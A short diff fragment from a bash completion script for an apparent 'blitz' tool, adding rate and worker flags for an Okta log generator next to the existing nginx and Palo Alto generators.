two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=") @@ -824,6 +832,10 @@ _blitz_root_command() two_word_flags+=("--generator-nginx-rate") flags+=("--generator-nginx-workers=") two_word_flags+=("--generator-nginx-workers") + flags+=("--generator-okta-rate=") + two_word_flags+=("--generator-okta-rate") + flags+=("--generator-okta-workers=") + two_word_flags+=("--generator-okta-workers") flags+=("--generator-paloalto-rate=") two_word_flags+=("--generator-paloalto-rate") flags+=("--generator-paloalto-workers=")